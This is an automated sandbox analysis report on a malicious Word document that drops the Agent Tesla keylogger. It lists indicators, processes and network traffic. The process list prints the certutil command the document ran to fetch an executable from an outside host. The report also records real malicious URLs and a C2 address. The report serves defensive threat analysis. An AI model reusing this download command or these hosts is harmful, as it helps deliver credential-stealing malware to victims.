Malware analysis http://alobitanbd.com/css/Giveaway.doc Malicious activity

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URL:	http://alobitanbd.com/css/Giveaway.doc
Full analysis:	https://app.any.run/tasks/013d3345-1022-4029-a92d-d72a0154acea
Verdict:	Malicious activity
Threats:	Agent Tesla is spyware that collects information about the actions of its victims by recording keystrokes and user interactions. It is falsely marketed as a legitimate software on the dedicated website where this malware is sold. A keylogger is a type of spyware that infects a system and has the ability to record every keystroke made on the device. This lets attackers collect personal information of victims, which may include their online banking credentials, as well as personal conversations. The most widespread vector of attack leading to a keylogger infection begins with a phishing email or link. Keylogging is also often present in remote access trojans as part of an extended set of malicious tools. A loader is malicious software that infiltrates devices to deliver malicious payloads. This malware is capable of infecting victims’ computers, analyzing their system information, and installing other types of threats, such as trojans or stealers. Criminals usually deliver loaders through phishing emails and links by relying on social engineering to trick users into downloading and running their executables. Loaders employ advanced evasion and persistence tactics to avoid detection. Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. Stealers are a group of malicious software that are intended for gaining unauthorized access to users’ information and transferring it to the attacker. The stealer malware category includes various types of programs that focus on their particular kind of data, including files, passwords, and cryptocurrency. Stealers are capable of spying on their targets by recording their keystrokes and taking screenshots. This type of malware is primarily distributed as part of phishing campaigns. Trojans are a group of malicious programs distinguished by their ability to masquerade as benign software. Depending on their type, trojans possess a variety of capabilities, ranging from maintaining full remote control over the victim’s machine to stealing data and files, as well as dropping other malware. At the same time, the main functionality of each trojan family can differ significantly depending on its type. The most common trojan infection chain starts with a phishing email. Malware Trends Tracker >>>
Analysis date:	April 25, 2019, 08:55:38
OS:	Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:	opendir loader trojan rat agenttesla keylogger stealer
Indicators:
MD5:	733E737F2F381A6029D77EE4865B6C15
SHA1:	CD3093BCE99ECBEA62EA6D231B54EE3F9DE8845C
SHA256:	0CF2227986C0EDA34AECF817578046CD5E97D78B9E773D6FE04C01EDA755364D
SSDEEP:	3:N1KfuQEzUUWKa1KGn:C2QEyAGn

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

Launch configuration

Task duration:: 180 seconds
Heavy Evasion option:: off
Network geolocation:: off
Additional time used:: 120 seconds
MITM proxy:: off
Privacy:: Public submission
Fakenet option:: off
Route via Tor:: off
Autoconfirmation of UAC:: on
Network:: on

Software preset

Internet Explorer 8.0.7601.17514 undefined
Adobe Acrobat Reader DC MUI (15.023.20070)
Adobe Flash Player 26 ActiveX (26.0.0.131)
Adobe Flash Player 26 NPAPI (26.0.0.131)
Adobe Flash Player 26 PPAPI (26.0.0.131)
Adobe Refresh Manager (1.8.0)
CCleaner (5.35)
FileZilla Client 3.36.0 (3.36.0)
Google Chrome (73.0.3683.75)
Google Update Helper (1.3.33.23)
Java 8 Update 92 (8.0.920.14)
Java Auto Updater (2.8.92.14)
Microsoft .NET Framework 4.6.1 (4.6.01055)
Microsoft Office Access MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Access Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Excel MUI (English) 2010 (14.0.6029.1000)
Microsoft Office OneNote MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Outlook MUI (English) 2010 (14.0.6029.1000)
Microsoft Office PowerPoint MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Professional 2010 (14.0.6029.1000)
Microsoft Office Proof (English) 2010 (14.0.6029.1000)
Microsoft Office Proof (French) 2010 (14.0.6029.1000)
Microsoft Office Proof (Spanish) 2010 (14.0.6029.1000)
Microsoft Office Proofing (English) 2010 (14.0.6029.1000)
Microsoft Office Publisher MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Shared Setup Metadata MUI (English) 2010 (14.0.6029.1000)
Microsoft Office Single Image 2010 (14.0.6029.1000)
Microsoft Office Word MUI (English) 2010 (14.0.6029.1000)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (9.0.30729.6161)
Microsoft Visual C++ 2010 x86 Redistributable - 10.0.40219 (10.0.40219)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (12.0.30501.0)
Microsoft Visual C++ 2013 x86 Additional Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2013 x86 Minimum Runtime - 12.0.21005 (12.0.21005)
Microsoft Visual C++ 2017 Redistributable (x86) - 14.15.26706 (14.15.26706.0)
Microsoft Visual C++ 2017 x86 Additional Runtime - 14.15.26706 (14.15.26706)
Microsoft Visual C++ 2017 x86 Minimum Runtime - 14.15.26706 (14.15.26706)
Mozilla Firefox 65.0.2 (x86 en-US) (65.0.2)
Notepad++ (32-bit x86) (7.5.1)
Opera 12.15 (12.15.1748)
Skype version 8.29 (8.29)
VLC media player (2.2.6)
WinRAR 5.60 (32-bit) (5.60.0)

Hotfixes

Client LanguagePack Package
Client Refresh LanguagePack Package
CodecPack Basic Package
Foundation Package
IE Troubleshooters Package
InternetExplorer Optional Package
KB2534111
KB2999226
KB976902
LocalPack AU Package
LocalPack CA Package
LocalPack GB Package
LocalPack US Package
LocalPack ZA Package
ProfessionalEdition
UltimateEdition

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MALICIOUS
- Starts CertUtil for downloading files
  - WINWORD.EXE (PID: 1692)
- Application was dropped or rewritten from another process
  - upadte.exe (PID: 1972)
  - upadte.exe (PID: 2336)
  - upadte.exe (PID: 2756)
- Downloads executable files from the Internet
  - certutil.exe (PID: 2672)
- Unusual execution from Microsoft Office
  - WINWORD.EXE (PID: 1692)
- Detected AgentTesla Keylogger
  - upadte.exe (PID: 2336)
- Known privilege escalation attack
  - upadte.exe (PID: 2336)
- Connects to CnC server
  - upadte.exe (PID: 2336)
- Changes the autorun value in the registry
  - upadte.exe (PID: 2336)
- Disables Windows System Restore
  - upadte.exe (PID: 2336)
- Actions looks like stealing of personal data
  - upadte.exe (PID: 2336)
SUSPICIOUS
- Application launched itself
  - WINWORD.EXE (PID: 1692)
  - upadte.exe (PID: 1972)
- Starts Microsoft Office Application
  - WINWORD.EXE (PID: 1692)
- Reads Internet Cache Settings
  - WINWORD.EXE (PID: 1692)
- Executable content was dropped or overwritten
  - certutil.exe (PID: 2672)
  - upadte.exe (PID: 2336)
- Modifies the open verb of a shell class
  - upadte.exe (PID: 2336)
- Creates files in the user directory
  - upadte.exe (PID: 2336)
- Connects to server without host name
  - upadte.exe (PID: 2336)
INFO
- Changes internet zones settings
  - iexplore.exe (PID: 2308)
- Creates files in the user directory
  - iexplore.exe (PID: 3808)
  - WINWORD.EXE (PID: 1692)
- Reads Microsoft Office registry keys
  - WINWORD.EXE (PID: 1692)
  - WINWORD.EXE (PID: 4088)
- Reads Internet Cache Settings
  - iexplore.exe (PID: 3808)
  - iexplore.exe (PID: 2308)
- Reads internet explorer settings
  - iexplore.exe (PID: 3808)

Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

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No Malware configuration.

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No data.

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All screenshots are available in the full report

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Total processes

Monitored processes

Malicious processes

Suspicious processes

Behavior graph

Click at the process to see the details

Process information

PID	CMD	Path	Indicators	Parent process
2308	"C:\Program Files\Internet Explorer\iexplore.exe" -nohome	C:\Program Files\Internet Explorer\iexplore.exe		explorer.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Internet Explorer Exit code: 1 Version: 8.00.7600.16385 (win7_rtm.090713-1255)
3808	"C:\Program Files\Internet Explorer\iexplore.exe" SCODEF:2308 CREDAT:71937	C:\Program Files\Internet Explorer\iexplore.exe		iexplore.exe
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Internet Explorer Exit code: 0 Version: 8.00.7600.16385 (win7_rtm.090713-1255)
1692	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" -Embedding	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE		svchost.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000
4088	"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Embedding	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE	—	WINWORD.EXE
User: admin Company: Microsoft Corporation Integrity Level: LOW Description: Microsoft Word Exit code: 0 Version: 14.0.6024.1000
2672	"C:\Windows\System32\certutil.exe" -urlcache -split -f http://alobitanbd.com/css/Easter.exe C:\Users\admin\AppData\Local\Temp\upadte.exe	C:\Windows\System32\certutil.exe		WINWORD.EXE
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: CertUtil.exe Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
1972	C:\Users\admin\AppData\Local\Temp\upadte.exe	C:\Users\admin\AppData\Local\Temp\upadte.exe	—	WINWORD.EXE
User: admin Company: HappyOrNot Integrity Level: MEDIUM Description: K&R Transporte Exit code: 0 Version: 5.6.14.17
2336	"C:\Users\admin\AppData\Local\Temp\upadte.exe"	C:\Users\admin\AppData\Local\Temp\upadte.exe		upadte.exe
User: admin Company: HappyOrNot Integrity Level: MEDIUM Description: K&R Transporte Version: 5.6.14.17
1952	"C:\Windows\System32\eventvwr.exe"	C:\Windows\System32\eventvwr.exe	—	upadte.exe
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Event Viewer Snapin Launcher Exit code: 3221226540 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
1684	"C:\Windows\System32\eventvwr.exe"	C:\Windows\System32\eventvwr.exe		upadte.exe
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Event Viewer Snapin Launcher Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255)
2756	"C:\Users\admin\AppData\Local\Temp\upadte.exe"	C:\Users\admin\AppData\Local\Temp\upadte.exe	—	eventvwr.exe
User: admin Company: HappyOrNot Integrity Level: HIGH Description: K&R Transporte Version: 5.6.14.17

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Total events

1 981

Read events

1 517

Write events

Delete events

Modification events

No data

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Executable files

Suspicious files

Text files

Unknown types

Dropped files

PID	Process	Filename		Type
2308	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\H6QNMHE9\favicon[1].ico		—
		MD5:—	SHA256:—
2308	iexplore.exe	C:\Users\admin\AppData\LocalLow\Microsoft\Internet Explorer\Services\search_{0633EE93-D776-472f-A0FF-E1416B8B2E3A}.ico		—
		MD5:—	SHA256:—
1692	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\CVR8400.tmp.cvr		—
		MD5:—	SHA256:—
1692	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\{32EB617C-2111-40F4-8779-C626A530E157}		—
		MD5:—	SHA256:—
1692	WINWORD.EXE	C:\Users\admin\AppData\Local\Temp\{2A7E2EA4-7E6C-4BD1-B799-412F583EF9F4}		—
		MD5:—	SHA256:—
3808	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\History\Low\History.IE5\index.dat		dat
		MD5:053373F0A4E08855E84D506DC305E0AC	SHA256:C253982CC7B0F0605D111C1659F96DD37D70A6F21474B6F93EE4CDE7D00FFD88
1692	WINWORD.EXE	C:\Users\admin\AppData\Local\Microsoft\Office\14.0\OfficeFileCache\FSD-{9DD0EF24-B9CA-4786-BFA0-47020F2C5E14}.FSD		binary
		MD5:916E3CA30C78057D6C2341CC9C372989	SHA256:1DF81938F862DACA6857479AC53BC31638139CA6749AFED58C35B80E06290410
1692	WINWORD.EXE	C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm		pgc
		MD5:6B53A73D285C0956B474A05C5D6A1ABD	SHA256:939C3A58B347732C85AABCD631B7EFA72D442DE016CAF0CCB2691E60F57C38C9
3808	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\desktop.ini		ini
		MD5:4A3DEB274BB5F0212C2419D3D8D08612	SHA256:2842973D15A14323E08598BE1DFB87E54BF88A76BE8C7BC94C56B079446EDF38
3808	iexplore.exe	C:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Low\Content.IE5\index.dat		dat
		MD5:195A3FAFA2D32D50291D66CFEF0CBB5D	SHA256:2A2DE509FE9F09F5E9B6894F277C1DC95466090A838E2DA252FF72849EFB8DC8

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

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HTTP(S) requests

TCP/UDP connections

DNS requests

Threats

HTTP requests

PID	Process	Method	HTTP Code	IP	URL	CN	Type	Size	Reputation
1692	WINWORD.EXE	HEAD	200	192.185.77.10:80	http://alobitanbd.com/css/Giveaway.doc	US	—	—	suspicious
1692	WINWORD.EXE	OPTIONS	200	192.185.77.10:80	http://alobitanbd.com/css/	US	—	—	suspicious
3808	iexplore.exe	GET	200	192.185.77.10:80	http://alobitanbd.com/css/Giveaway.doc	US	document	18.8 Kb	suspicious
1692	WINWORD.EXE	HEAD	200	192.185.77.10:80	http://alobitanbd.com/css/Giveaway.doc	US	—	—	suspicious
972	svchost.exe	PROPFIND	—	192.185.77.10:80	http://alobitanbd.com/css/	US	—	—	suspicious
972	svchost.exe	PROPFIND	—	192.185.77.10:80	http://alobitanbd.com/css/	US	—	—	suspicious
2336	upadte.exe	POST	500	185.117.73.142:80	http://185.117.73.142//inc/298d59738c5d32.php	NL	—	—	malicious
1692	WINWORD.EXE	GET	200	192.185.77.10:80	http://alobitanbd.com/css/Giveaway.doc	US	document	18.8 Kb	suspicious
1692	WINWORD.EXE	HEAD	200	192.185.77.10:80	http://alobitanbd.com/css/Giveaway.doc	US	compressed	18.8 Kb	suspicious
972	svchost.exe	PROPFIND	301	192.185.77.10:80	http://alobitanbd.com/css	US	html	298 b	suspicious

Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID	Process	IP	Domain	ASN	CN	Reputation
2308	iexplore.exe	204.79.197.200:80	www.bing.com	Microsoft Corporation	US	whitelisted
2336	upadte.exe	185.117.73.142:80	—	Host Sailor Ltd.	NL	malicious
2672	certutil.exe	192.185.77.10:80	alobitanbd.com	CyrusOne LLC	US	suspicious
1692	WINWORD.EXE	192.185.77.10:80	alobitanbd.com	CyrusOne LLC	US	suspicious
972	svchost.exe	192.185.77.10:80	alobitanbd.com	CyrusOne LLC	US	suspicious
3808	iexplore.exe	192.185.77.10:80	alobitanbd.com	CyrusOne LLC	US	suspicious

DNS requests

Domain	IP	Reputation
www.bing.com	204.79.197.200 13.107.21.200	whitelisted
alobitanbd.com	192.185.77.10	suspicious

Threats

PID	Process	Class	Message
1692	WINWORD.EXE	Misc activity	SUSPICIOUS [PTsecurity] Download DOC file with VBAScript
2672	certutil.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
2672	certutil.exe	Misc activity	SUSPICIOUS [PTsecurity] Observed MS Certutil User-Agent in HTTP Request
2672	certutil.exe	Potential Corporate Privacy Violation	ET POLICY PE EXE or DLL Windows file download HTTP
972	svchost.exe	Web Application Attack	ET WEB_CLIENT Possible HTTP 405 XSS Attempt (External Source)
3808	iexplore.exe	Misc activity	SUSPICIOUS [PTsecurity] Download DOC file with VBAScript
2336	upadte.exe	A Network Trojan was detected	MALWARE [PTsecurity] AgentTesla
2336	upadte.exe	A Network Trojan was detected	MALWARE [PTsecurity] AgentTesla
2336	upadte.exe	A Network Trojan was detected	MALWARE [PTsecurity] AgentTesla

7 ETPRO signatures available at the full report

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No debug info

General Info

http://alobitanbd.com/css/Giveaway.doc

733E737F2F381A6029D77EE4865B6C15

CD3093BCE99ECBEA62EA6D231B54EE3F9DE8845C

0CF2227986C0EDA34AECF817578046CD5E97D78B9E773D6FE04C01EDA755364D

3:N1KfuQEzUUWKa1KGn:C2QEyAGn

Software environment set and analysis options

Launch configuration

Software preset

Hotfixes

Behavior activities

MALICIOUS

Starts CertUtil for downloading files

Application was dropped or rewritten from another process

Downloads executable files from the Internet

Unusual execution from Microsoft Office

Detected AgentTesla Keylogger

Known privilege escalation attack

Connects to CnC server

Changes the autorun value in the registry

Disables Windows System Restore

Actions looks like stealing of personal data

SUSPICIOUS

Application launched itself

Starts Microsoft Office Application

Reads Internet Cache Settings

Executable content was dropped or overwritten

Modifies the open verb of a shell class

Creates files in the user directory

Connects to server without host name

INFO

Changes internet zones settings

Creates files in the user directory

Reads Microsoft Office registry keys

Reads Internet Cache Settings

Reads internet explorer settings

Malware configuration

Static information

Video and screenshots

Processes

Behavior graph

Specs description

Process information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Information

Registry activity

Modification events

Files activity

Dropped files

Network activity

HTTP requests

Connections

DNS requests

Threats

Debug output strings